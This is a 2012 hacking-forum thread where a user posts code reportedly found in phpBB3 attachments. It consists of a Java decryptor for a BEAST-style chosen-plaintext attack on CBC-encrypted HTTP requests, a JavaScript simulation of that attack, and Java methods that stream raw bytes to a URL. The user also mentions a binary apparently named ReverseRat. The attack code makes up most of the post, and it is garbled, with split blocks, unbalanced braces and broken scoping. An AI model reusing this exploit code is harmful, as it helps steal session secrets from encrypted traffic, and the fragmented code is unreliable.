

Forum:[Hack Forums](#)

Thread: [Found some interesting attachments in PHPBB3](#)

sudobash - September 21, 2012, 7:48 am

```
package peast;
```

```
import java.util.Arrays;
```

```
//"POST /"(6) + prefix + " HTTP/1.1\r\n"(11)
```

```
public class Decryptor {  
    private String plaintext = "";  
    private String prefixRight = "";  
    private static final String prefixLeft = "POST /";  
    private byte[] ciphertext;  
    private int blockSize;  
    private byte[] target;  
    private byte[] targetIV;  
    private byte attemptLastByte = 0x20;  
    private byte[] nextAttempt;
```

```
    public Decryptor() {
```

```
    }
```

```
    public void setCiphertext(byte[] ciphertext) {  
        // TODO get blocksize from packets  
        blockSize = 16;  
        assert (ciphertext.length % blockSize == 0);  
        this.ciphertext = ciphertext;  
        target = new byte[blockSize];  
        targetIV = new byte[blockSize];  
        setTargetBlock();  
    }
```

```
    public byte[] getChosenPrefix() {  
        // total length mod blockSize = blockSize - 1  
        int bs = blockSize == 0 ? 16 : blockSize;  
        int prefixLength = bs  
            - ((prefixLeft.length() + prefixRight.length() + 1) % bs);  
        final byte[] prefix = new byte[prefixLength];  
        Arrays.fill(prefix, (byte) 0x41);  
  
        return prefix;  
    }
```

```
    private byte[] getNextAttemptBlock() {  
        byte[] nextAttempt = new byte[blockSize];  
        String tmp = prefixLeft + new String(getChosenPrefix()) + prefixRight;  
        System.out.println("tmp: " + tmp);
```

```

System.arraycopy(tmp.getBytes(), tmp.length() - (blockSize - 1),
    nextAttempt, 0, blockSize - 1);
nextAttempt[blockSize - 1] = attemptLastByte;
System.out
    .println("Next attempt plaintext: " + new String(nextAttempt));
return nextAttempt;
}

```

```

public byte[] getChosenPlaintext(byte[] lastPacket) {

    byte[] iv = Arrays.copyOfRange(lastPacket, lastPacket.length
        - blockSize, lastPacket.length);
    byte[] cp = new byte[blockSize];

    nextAttempt = getNextAttemptBlock();
    assert (attemptLastByte < 128);

    for (int idx = 0; idx < blockSize; idx++) {
        cp[idx] = (byte) (nextAttempt[idx] ^ targetIV[idx] ^ iv[idx]);
    }

    attemptLastByte += 1;
    return cp;
}

```

```

public boolean matches(byte[] cipher) {
    byte[] m = new byte[blockSize];
    System.arraycopy(cipher, 0, m, 0, blockSize);
    if (Arrays.equals(m, target)) {
        String found = new String(nextAttempt);
        System.out.println("match!: " + found);
        char ch = found.charAt(found.length() - 1);
        plaintext = plaintext + ch;
        prefixRight += ch;
        attemptLastByte = 0x20;
        setTargetBlock();
        return true;
    }
    return false;
}

```

```

private void setTargetBlock() {
    // which ciphertext block are we trying to guess next?
    int index = (prefixLeft.length() + getChosenPrefix().length + prefixRight
        .length()) / blockSize;
    System.arraycopy(ciphertext, index * blockSize, target, 0, blockSize);
    System.arraycopy(ciphertext, (index - 1) * blockSize, targetIV, 0,
        blockSize);
}

```

```

public void setPrefixRight(String prefix) {
    prefixRight = prefix;
}

```

```

public String getPrefixRight() {
    return prefixRight;
}

public String getPlaintext() {
    return plaintext;
}
}

```

```

-----

var blockSize = 16;
var table;
var pause = false;
var guesses = 0;

```

```

$(function() {
    $("button").bind('click', run);
});

```

```

function randomValue() {
    return Math.floor(Math.random()*256)
}

```

```

function generateRandomBlock() {
    var block = new Array();
    for (var i = 0; i < blockSize; i++) {
        block.push(randomValue());
    }
    return block;
}

```

```

var iv = generateRandomBlock();

```

```

function Encryptor() {
    var key = generateRandomBlock();
    return {
        encrypt: encrypt,
        encryptBlock: encryptBlock
    };
}

```

```

function encrypt(text) {
    var secret = $("#secret").val();
    var fullPlain = text + secret;
    tableizeString($("#text"), fullPlain);
    var blocks = new Array();
    for(var b = 0; b * blockSize < fullPlain.length; b++) {
        blocks.push(new Array());
        for(var i = 0; i < blockSize; i++) {
            var fpi = b * blockSize + i;

```

```

    if (fpi < fullPlain.length) {
        blocks[b][i] = fullPlain.charCodeAt(fpi);
    }
}
}
pad(blocks);
tableizeBlocks($("#plain"), blocks);
var cipher = new Array();
for (var i = 0; i < blocks.length; i++) {
    cipher.push(encryptBlock(blocks[i]));
}
tableizeBlocks($("#cipher"), cipher);
return cipher;
}

```

```

function pad(blocks) {
    var padSize = blockSize - blocks[blocks.length - 1].length;
    var padChar = padSize;
    if (padSize == 0) {
        blocks[blocks.length] = new Array();
        padChar = blockSize;
        padSize = blockSize;
    }
    for (var i = 0; i < padSize; i++) {
        blocks[blocks.length - 1].push(padChar);
    }
}

```

//Dummy XOR encrypt with random key. Which encryption function is
 //in use doesn't matter as long as $e(IV, \text{text})$ is deterministic

```

function encryptBlock(block) {
    var cipher = new Array();
    for (var i = 0; i < blockSize; i++) {
        cipher.push(iv[i] ^ block[i] ^ key[i]);
    }
    iv = cipher;
    return cipher;
}
}

```

```

var totalDec = "";
var quick = false;
var quickSet = ".abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
var speed = 1;

```

```

function run() {
    $("#button").text("Pause").unbind('click').bind('click', function() {
        pause = true;
    });
    speed = parseInt($("#speed").val(), 10);
    quick = ($("#check").is(":checked"));
    guesses = 0;
    table = $("#run table");
}

```

```

var enc = new Encryptor();
var l = $("#secret").val().length;
totalDec = "";
var dec = new Array();
var decs = "";
var block = 0;
runGuessRound(l, 0, block, enc, dec, decs);
}
function finishUp() {
    $("#button").text("Run").unbind('click').bind('click', run);
}

```

```

function runGuessRound(length, j, block, enc, dec, decs) {
    if (j >= length) {
        finishUp();
        return;
    }
    if (j >= ((block + 1) * blockSize)) {
        block++;
    }
    var prelv = iv;
    tableizeBlocks($("#iv"), [prelv]);
    var padChar = (blockSize - ((j + 1) % blockSize)) % blockSize;
    var pad = "";
    for(var i = 0; i < padChar; i++) {
        pad += padChar.toString(16);
    }
    var cipher = enc.encrypt(pad);
    tableizeBlocks($("#activeBlock"), [cipher[block]], block);
    if (block > 0) {
        prelv = cipher[block - 1];
    }
    runGuess(length, j, block, 0, pad, prelv, cipher, enc, dec, decs);
}
function runGuess(length, j, block, i, pad, prelv, cipher, enc, dec, decs) {
    $("#gpc td").text(Math.round(10*++guesses/ (totalDec.length + 1)) / 10);
    var guessChar = String.fromCharCode(i);
    if (quick) {
        if (i >= quickSet.length) {
            alert("Failed! Did you include characters outside of A-Z, a-z, 0-9, space + .?");
            return;
        }
        guessChar = quickSet.charAt(i);
    }
    var guess = pad + decs + guessChar;
    var guessBlock = new Array();
    for (var k = 0; k < blockSize; k++) {
        guessBlock.push(guess.charCodeAt(block * blockSize + k) ^ iv[k] ^ prelv[k]);
    }
    tableizeString($("#guess"), guess);
    tableizeBlocks($("#guessiv"), [iv], block);
    var cipherGuess = enc.encryptBlock(guessBlock);
    tableizeBlocks($("#cipheredGuess"), [cipherGuess], block);
}

```

```

if (compare(cipherGuess, cipher[block])) {
    dec.push(guessChar.charCodeAt(0));
    decs += guessChar;
    totalDec += guessChar;
    tableizeString($("#decrypted"), totalDec);
    call(function(){ runGuessRound(length, j + 1, block, enc, dec, decs); });
    return;
}
call(function() { runGuess(length, j, block, i + 1, pad, prelv, cipher, enc, dec, decs); });
}

```

```

var speedCount = 0;

```

```

function call(fun) {
    if (pause) {
        $("button").unbind('click').text("Continue").bind('click', function() {
            $("button").text("Pause").unbind('click').bind('click', function() {
                pause = true;
            });
        });
        pause=false;
        fun();
    };
} else {
    if (speed == 0 && speedCount++ % 100 == 0) {
        fun();
    } else {
        setTimeout(fun, speed);
    }
}
}

```

```

function compare(block1, block2) {
    for (var i = 0; i < blockSize; i++) {
        if (block1[i] != block2[i]) return false;
    }
    return true;
}

```

```

function tableizeString(row, str) {
    row.find("td").remove();
    for(var i = 0; i < str.length; i++) {
        if ( i % 16 == 0) $("<td>").addClass("space").appendTo(row);
        $("<td>").text(str.charAt(i)).appendTo(row);
    }
}
function tableizeBlocks(row, blocks, empty) {
    row.find("td").remove();
    for (var i = 0; i < empty; i++) {
        $("<td>").addClass("space").appendTo(row);
        for (var j = 0; j < blockSize; j++) {
            $("<td>").text(" ").appendTo(row);
        }
    }
}

```

```

    }
}
for (var i = 0; i < blocks.length; i++) {
    $("<td>").addClass("space").appendTo(row);
    for (var j = 0; j < blocks[i].length; j++) {
        $("<td>").text(blocks[i][j].toString(16)).appendTo(row);
    }
}
}
}
}

```

```

public void send(String hexbytes) {
    final byte bytes[] = fromHexString(hexbytes);
    if(outputStream != null) {
        try {
            outputStream.write(bytes);
            outputStream.flush();
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

public void disconnect() {
    if(outputStream != null) {
        try {
            outputStream.close();
        } catch (IOException e) {
        }
        outputStream = null;
    }
}

public String connect(String url) {
    try {
        URL curl = new URL(url);
        URLConnection conn = curl.openConnection();
        conn.setDoOutput(true);
        ((HttpURLConnection) conn).setFixedLengthStreamingMode(4096*4096);

        outputStream = conn.getOutputStream();
        outputStream.flush();
        return "ok";
    } catch (MalformedURLException e) {
        e.printStackTrace();
    } catch (IOException e) {
        e.printStackTrace();
    }
    outputStream = null;
    return "error";
}

public static byte[] fromHexString(String hex) {
    ByteArrayOutputStream bas = new ByteArrayOutputStream();

```

```
    for (int i = 0; i < hex.length(); i+=2) {  
        int b = Integer.parseInt(hex.substring(i, i + 2), 16);  
        bas.write(b);  
    }  
    return bas.toByteArray();  
}
```

and a binary with the header: Reverse\ReverseRat\Form1.cs

No?????? - September 21, 2012, 7:52 am

Use fucking spoiler tags next time.

Jae? - September 21, 2012, 11:02 am

Oh my god, please put that in a code box. I have no idea what you're on about because of how messy it is. Make yourself a little more clear and tidy this up and you might get some help as I'm not the only one confused.